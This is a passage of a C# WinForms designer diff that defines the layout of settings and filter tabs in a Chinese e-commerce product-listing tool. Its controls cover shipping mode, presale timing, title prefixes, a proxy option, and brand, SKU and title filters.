this.tabPage2.Controls.Add(this.buttonEx2); + this.tabPage2.Controls.Add(this.cmbSendType); + this.tabPage2.Controls.Add(this.txtremark); + this.tabPage2.Controls.Add(this.label13); + this.tabPage2.Controls.Add(this.label1); + this.tabPage2.Controls.Add(this.comboBox1); + this.tabPage2.Controls.Add(this.prefixTextBox); + this.tabPage2.Controls.Add(this.proxyCheckBox); + this.tabPage2.Controls.Add(this.label8); + this.tabPage2.Controls.Add(this.label6); + this.tabPage2.Controls.Add(this.cmbSendDay); + this.tabPage2.Controls.Add(this.sendTime); + this.tabPage2.Controls.Add(this.label12); + this.tabPage2.Controls.Add(this.label7); + this.tabPage2.Controls.Add(this.lblNewPreTime); + this.tabPage2.Location = new System.Drawing.Point(4, 26); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Size = new System.Drawing.Size(886, 150); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = " 参数设置二"; + this.tabPage2.UseVisualStyleBackColor = true; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(0))))); + this.label2.Location = new System.Drawing.Point(97, 109); + this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(188, 17); + this.label2.TabIndex = 457; + this.label2.Text = "提高上货成功率但会增加违规风险"; + // + // endDateTimePicker + // + this.endDateTimePicker.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.endDateTimePicker.CustomFormat = "yyyy-MM-dd"; + this.endDateTimePicker.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.endDateTimePicker.Format = System.Windows.Forms.DateTimePickerFormat.Custom; + this.endDateTimePicker.Location = new System.Drawing.Point(575, 106); + this.endDateTimePicker.Name = "endDateTimePicker"; + this.endDateTimePicker.Size = new System.Drawing.Size(90, 23); + this.endDateTimePicker.TabIndex = 419; + this.endDateTimePicker.Visible = false; + this.endDateTimePicker.ValueChanged += new System.EventHandler(this.endDateTimePicker_ValueChanged); + // + // chkFuzzyMatching + // + this.chkFuzzyMatching.AutoSize = true; + this.chkFuzzyMatching.FlatAppearance.BorderSize = 0; + this.chkFuzzyMatching.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkFuzzyMatching.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkFuzzyMatching.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkFuzzyMatching.Location = new System.Drawing.Point(8, 107); + this.chkFuzzyMatching.Margin = new System.Windows.Forms.Padding(2); + this.chkFuzzyMatching.Name = "chkFuzzyMatching"; + this.chkFuzzyMatching.Size = new System.Drawing.Size(96, 21); + this.chkFuzzyMatching.TabIndex = 456; + this.chkFuzzyMatching.Text = "模糊匹配属性"; + this.chkFuzzyMatching.UseVisualStyleBackColor = true; + // + // cmbNewPreTime + // + this.cmbNewPreTime.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cmbNewPreTime.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cmbNewPreTime.FormattingEnabled = true; + this.cmbNewPreTime.Items.AddRange(new object[] { + "5天内发货", + "15天内发货", + "45天内发货"}); + this.cmbNewPreTime.Location = new System.Drawing.Point(575, 105); + this.cmbNewPreTime.Margin = new System.Windows.Forms.Padding(2); + this.cmbNewPreTime.Name = "cmbNewPreTime"; + this.cmbNewPreTime.Size = new System.Drawing.Size(90, 25); + this.cmbNewPreTime.TabIndex = 436; + this.cmbNewPreTime.Text = "5天内发货"; + this.cmbNewPreTime.Visible = false; + // + // cmbSendDayAfterPre + // + this.cmbSendDayAfterPre.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cmbSendDayAfterPre.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cmbSendDayAfterPre.FormattingEnabled = true; + this.cmbSendDayAfterPre.Items.AddRange(new object[] { + "2", + "3", + "5", + "7", + "10", + "15"}); + this.cmbSendDayAfterPre.Location = new System.Drawing.Point(575, 78); + this.cmbSendDayAfterPre.Margin = new System.Windows.Forms.Padding(2); + this.cmbSendDayAfterPre.Name = "cmbSendDayAfterPre"; + this.cmbSendDayAfterPre.Size = new System.Drawing.Size(50, 25); + this.cmbSendDayAfterPre.TabIndex = 417; + this.cmbSendDayAfterPre.Text = "2"; + this.cmbSendDayAfterPre.Visible = false; + // + // buttonEx2 + // + this.buttonEx2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.buttonEx2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.buttonEx2.Cursor = System.Windows.Forms.Cursors.Hand; + this.buttonEx2.FlatAppearance.BorderSize = 0; + this.buttonEx2.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.buttonEx2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.buttonEx2.ForeColor = System.Drawing.Color.White; + this.buttonEx2.Location = new System.Drawing.Point(726, 105); + this.buttonEx2.Margin = new System.Windows.Forms.Padding(2); + this.buttonEx2.Name = "buttonEx2"; + this.buttonEx2.Size = new System.Drawing.Size(147, 25); + this.buttonEx2.TabIndex = 431; + this.buttonEx2.Text = "上货包装标签图"; + this.buttonEx2.UseVisualStyleBackColor = false; + this.buttonEx2.Click += new System.EventHandler(this.buttonEx2_Click_1); + // + // cmbSendType + // + this.cmbSendType.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cmbSendType.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cmbSendType.FormattingEnabled = true; + this.cmbSendType.Items.AddRange(new object[] { + "现货发货", + "预售发货"}); + this.cmbSendType.Location = new System.Drawing.Point(575, 22); + this.cmbSendType.Margin = new System.Windows.Forms.Padding(2); + this.cmbSendType.Name = "cmbSendType"; + this.cmbSendType.Size = new System.Drawing.Size(72, 25); + this.cmbSendType.TabIndex = 415; + this.cmbSendType.Text = "现货发货"; + this.cmbSendType.SelectedIndexChanged += new System.EventHandler(this.comboBox3_SelectedIndexChanged); + // + // txtremark + // + this.txtremark.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.txtremark.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtremark.Location = new System.Drawing.Point(760, 51); + this.txtremark.Margin = new System.Windows.Forms.Padding(2); + this.txtremark.Name = "txtremark"; + this.txtremark.Size = new System.Drawing.Size(113, 23); + this.txtremark.TabIndex = 414; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label13.Location = new System.Drawing.Point(5, 26); + this.label13.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(56, 17); + this.label13.TabIndex = 402; + this.label13.Text = "商品标题"; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.label1.Location = new System.Drawing.Point(689, 54); + this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(80, 17); + this.label1.TabIndex = 413; + this.label1.Text = "商家推荐语:"; + // + // comboBox1 + // + this.comboBox1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.comboBox1.FormattingEnabled = true; + this.comboBox1.Items.AddRange(new object[] { + "前缀", + "后缀"}); + this.comboBox1.Location = new System.Drawing.Point(65, 22); + this.comboBox1.Margin = new System.Windows.Forms.Padding(2); + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new System.Drawing.Size(48, 25); + this.comboBox1.TabIndex = 401; + this.comboBox1.Text = "前缀"; + this.comboBox1.SelectedIndexChanged += new System.EventHandler(this.comboBox1_SelectedIndexChanged); + // + // prefixTextBox + // + this.prefixTextBox.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.prefixTextBox.ForeColor = System.Drawing.Color.Black; + this.prefixTextBox.Location = new System.Drawing.Point(117, 22); + this.prefixTextBox.Margin = new System.Windows.Forms.Padding(2); + this.prefixTextBox.Multiline = true; + this.prefixTextBox.Name = "prefixTextBox"; + this.prefixTextBox.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.prefixTextBox.Size = new System.Drawing.Size(343, 81); + this.prefixTextBox.TabIndex = 400; + this.prefixTextBox.TextChanged += new System.EventHandler(this.prefixTextBox_TextChanged); + // + // proxyCheckBox + // + this.proxyCheckBox.AutoSize = true; + this.proxyCheckBox.FlatAppearance.BorderSize = 0; + this.proxyCheckBox.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.proxyCheckBox.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.proxyCheckBox.Location = new System.Drawing.Point(653, 23); + this.proxyCheckBox.Margin = new System.Windows.Forms.Padding(2); + this.proxyCheckBox.Name = "proxyCheckBox"; + this.proxyCheckBox.Size = new System.Drawing.Size(83, 21); + this.proxyCheckBox.TabIndex = 402; + this.proxyCheckBox.Text = "代理IP设置"; + this.proxyCheckBox.UseVisualStyleBackColor = true; + this.proxyCheckBox.CheckedChanged += new System.EventHandler(this.proxyCheckBox_CheckedChanged); + // + // label8 + // + this.label8.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label8.AutoSize = true; + this.label8.BackColor = System.Drawing.Color.Transparent; + this.label8.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label8.Location = new System.Drawing.Point(625, 82); + this.label8.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(56, 17); + this.label8.TabIndex = 422; + this.label8.Text = "天内发货"; + this.label8.Visible = false; + // + // label6 + // + this.label6.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label6.AutoSize = true; + this.label6.BackColor = System.Drawing.Color.Transparent; + this.label6.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label6.Location = new System.Drawing.Point(516, 26); + this.label6.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(68, 17); + this.label6.TabIndex = 416; + this.label6.Text = "发货模式:"; + // + // cmbSendDay + // + this.cmbSendDay.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cmbSendDay.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cmbSendDay.FormattingEnabled = true; + this.cmbSendDay.Items.AddRange(new object[] { + "24", + "48"}); + this.cmbSendDay.Location = new System.Drawing.Point(575, 50); + this.cmbSendDay.Margin = new System.Windows.Forms.Padding(2); + this.cmbSendDay.Name = "cmbSendDay"; + this.cmbSendDay.Size = new System.Drawing.Size(50, 25); + this.cmbSendDay.TabIndex = 421; + this.cmbSendDay.Text = "48"; + // + // sendTime + // + this.sendTime.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.sendTime.AutoSize = true; + this.sendTime.BackColor = System.Drawing.Color.Transparent; + this.sendTime.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.sendTime.Location = new System.Drawing.Point(504, 82); + this.sendTime.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.sendTime.Name = "sendTime"; + this.sendTime.Size = new System.Drawing.Size(80, 17); + this.sendTime.TabIndex = 418; + this.sendTime.Text = "预售结束后:"; + this.sendTime.Visible = false; + // + // label12 + // + this.label12.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label12.AutoSize = true; + this.label12.BackColor = System.Drawing.Color.Transparent; + this.label12.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label12.Location = new System.Drawing.Point(492, 109); + this.label12.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(92, 17); + this.label12.TabIndex = 420; + this.label12.Text = "预售结束时间:"; + this.label12.Visible = false; + // + // label7 + // + this.label7.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label7.AutoSize = true; + this.label7.BackColor = System.Drawing.Color.Transparent; + this.label7.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label7.Location = new System.Drawing.Point(516, 54); + this.label7.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(68, 17); + this.label7.TabIndex = 418; + this.label7.Text = "发货时间:"; + // + // lblNewPreTime + // + this.lblNewPreTime.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.lblNewPreTime.AutoSize = true; + this.lblNewPreTime.BackColor = System.Drawing.Color.Transparent; + this.lblNewPreTime.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblNewPreTime.Location = new System.Drawing.Point(516, 109); + this.lblNewPreTime.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.lblNewPreTime.Name = "lblNewPreTime"; + this.lblNewPreTime.Size = new System.Drawing.Size(68, 17); + this.lblNewPreTime.TabIndex = 435; + this.lblNewPreTime.Text = "发货时效:"; + this.lblNewPreTime.Visible = false; + // + // tabPage5 + // + this.tabPage5.Controls.Add(this.btnSetTitleRemove); + this.tabPage5.Controls.Add(this.btnSetBrandFilter); + this.tabPage5.Controls.Add(this.btnSetViolateCheck); + this.tabPage5.Controls.Add(this.btnSetSkuFilter); + this.tabPage5.Controls.Add(this.btnSetTitleFilter); + this.tabPage5.Controls.Add(this.chkOnlyPostFree); + this.tabPage5.Controls.Add(this.chkFilterRemoveTitle); + this.tabPage5.Controls.Add(this.chkFilterTMChaoShi); + this.tabPage5.Controls.Add(this.chkViolateCheck); + this.tabPage5.Controls.Add(this.chkFilterSku); + this.tabPage5.Controls.Add(this.chkFilterTitle); + this.tabPage5.Controls.Add(this.chkFilterBrand); + this.tabPage5.Location = new System.Drawing.Point(4, 26); + this.tabPage5.Name = "tabPage5"; + this.tabPage5.Size = new System.Drawing.Size(886, 150); + this.tabPage5.TabIndex = 4; + this.tabPage5.Text = "过滤设置"; + this.tabPage5.UseVisualStyleBackColor = true; + // + // btnSetTitleRemove + // + this.btnSetTitleRemove.CanvasColor = System.Drawing.SystemColors.Control; + this.btnSetTitleRemove.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSetTitleRemove.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSetTitleRemove.Font = new System.Drawing.Font("微软雅黑", 9F); + this.btnSetTitleRemove.Location = new System.Drawing.Point(124, 46); + this.btnSetTitleRemove.Name = "btnSetTitleRemove"; + this.btnSetTitleRemove.Size = new System.Drawing.Size(35, 20); + this.btnSetTitleRemove.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetTitleRemove.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnSetTitleRemove.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnSetTitleRemove.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnSetTitleRemove.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetTitleRemove.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnSetTitleRemove.Style.GradientAngle = 90; + this.btnSetTitleRemove.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetTitleRemove.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetTitleRemove.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetTitleRemove.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetTitleRemove.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnSetTitleRemove.TabIndex = 508; + this.btnSetTitleRemove.Text = "设置"; + this.btnSetTitleRemove.Click += new System.EventHandler(this.btnSetTitleRemove_Click); + // + // btnSetBrandFilter + // + this.btnSetBrandFilter.CanvasColor = System.Drawing.SystemColors.Control; + this.btnSetBrandFilter.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSetBrandFilter.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSetBrandFilter.Font = new System.Drawing.Font("微软雅黑", 9F); + this.btnSetBrandFilter.Location = new System.Drawing.Point(279, 18); + this.btnSetBrandFilter.Name = "btnSetBrandFilter"; + this.btnSetBrandFilter.Size = new System.Drawing.Size(35, 20); + this.btnSetBrandFilter.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetBrandFilter.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnSetBrandFilter.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnSetBrandFilter.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnSetBrandFilter.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetBrandFilter.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnSetBrandFilter.Style.GradientAngle = 90; + this.btnSetBrandFilter.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetBrandFilter.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetBrandFilter.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetBrandFilter.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetBrandFilter.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnSetBrandFilter.TabIndex = 489; + this.btnSetBrandFilter.Text = "设置"; + this.btnSetBrandFilter.Click += new System.EventHandler(this.btnSetBrandFilter_Click); + // + // btnSetViolateCheck + // + this.btnSetViolateCheck.CanvasColor = System.Drawing.SystemColors.Control; + this.btnSetViolateCheck.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSetViolateCheck.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSetViolateCheck.Font = new System.Drawing.Font("微软雅黑", 9F); + this.btnSetViolateCheck.Location = new System.Drawing.Point(124, 18); + this.btnSetViolateCheck.Name = "btnSetViolateCheck"; + this.btnSetViolateCheck.Size = new System.Drawing.Size(35, 20); + this.btnSetViolateCheck.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetViolateCheck.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnSetViolateCheck.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnSetViolateCheck.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnSetViolateCheck.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetViolateCheck.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnSetViolateCheck.Style.GradientAngle = 90; + this.btnSetViolateCheck.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetViolateCheck.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetViolateCheck.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetViolateCheck.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetViolateCheck.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnSetViolateCheck.TabIndex = 445; + this.btnSetViolateCheck.Text = "设置"; + this.btnSetViolateCheck.Click += new System.EventHandler(this.btnSetViolateCheck_Click); + // + // btnSetSkuFilter + // + this.btnSetSkuFilter.CanvasColor = System.Drawing.SystemColors.Control; + this.btnSetSkuFilter.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSetSkuFilter.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSetSkuFilter.Font = new System.Drawing.Font("微软雅黑", 9F); + this.btnSetSkuFilter.Location = new System.Drawing.Point(124, 102); + this.btnSetSkuFilter.Name = "btnSetSkuFilter"; + this.btnSetSkuFilter.Size = new System.Drawing.Size(35, 20); + this.btnSetSkuFilter.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetSkuFilter.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnSetSkuFilter.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnSetSkuFilter.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnSetSkuFilter.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetSkuFilter.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnSetSkuFilter.Style.GradientAngle = 90; + this.btnSetSkuFilter.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetSkuFilter.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetSkuFilter.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetSkuFilter.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetSkuFilter.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnSetSkuFilter.TabIndex = 484; + this.btnSetSkuFilter.Text = "设置"; + this.btnSetSkuFilter.Click += new System.EventHandler(this.btnSetSkuFilter_Click); + // + // btnSetTitleFilter + // + this.btnSetTitleFilter.CanvasColor = System.Drawing.SystemColors.Control; + this.btnSetTitleFilter.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSetTitleFilter.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSetTitleFilter.Font = new System.Drawing.Font("微软雅黑", 9F); + this.btnSetTitleFilter.Location = new System.Drawing.Point(124, 74); + this.btnSetTitleFilter.Name = "btnSetTitleFilter"; + this.btnSetTitleFilter.Size = new System.Drawing.Size(35, 20); + this.btnSetTitleFilter.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetTitleFilter.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnSetTitleFilter.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnSetTitleFilter.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnSetTitleFilter.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetTitleFilter.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnSetTitleFilter.Style.GradientAngle = 90; + this.btnSetTitleFilter.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetTitleFilter.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetTitleFilter.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetTitleFilter.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetTitleFilter.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnSetTitleFilter.TabIndex = 449; + this.btnSetTitleFilter.Text = "设置"; + this.btnSetTitleFilter.Click += new System.EventHandler(this.btnSetTitleFilter_Click); + // + // chkOnlyPostFree + // + this.chkOnlyPostFree.AutoSize = true; + this.chkOnlyPostFree.FlatAppearance.BorderSize = 0; + this.chkOnlyPostFree.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkOnlyPostFree.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkOnlyPostFree.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkOnlyPostFree.Location = new System.Drawing.Point(199, 45); + this.chkOnlyPostFree.Margin = new System.Windows.Forms.Padding(2); + this.chkOnlyPostFree.Name = "chkOnlyPostFree"; + this.chkOnlyPostFree.Size = new System.Drawing.Size(84, 21); + this.chkOnlyPostFree.TabIndex = 404; + this.chkOnlyPostFree.Text = "过滤不包邮"; + this.chkOnlyPostFree.UseVisualStyleBackColor = true; + this.chkOnlyPostFree.CheckedChanged += new System.EventHandler(this.chkOnlyPostFree_CheckedChanged); + // + // chkFilterRemoveTitle + // + this.chkFilterRemoveTitle.AutoSize = true; + this.chkFilterRemoveTitle.FlatAppearance.BorderSize = 0; + this.chkFilterRemoveTitle.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkFilterRemoveTitle.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkFilterRemoveTitle.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), 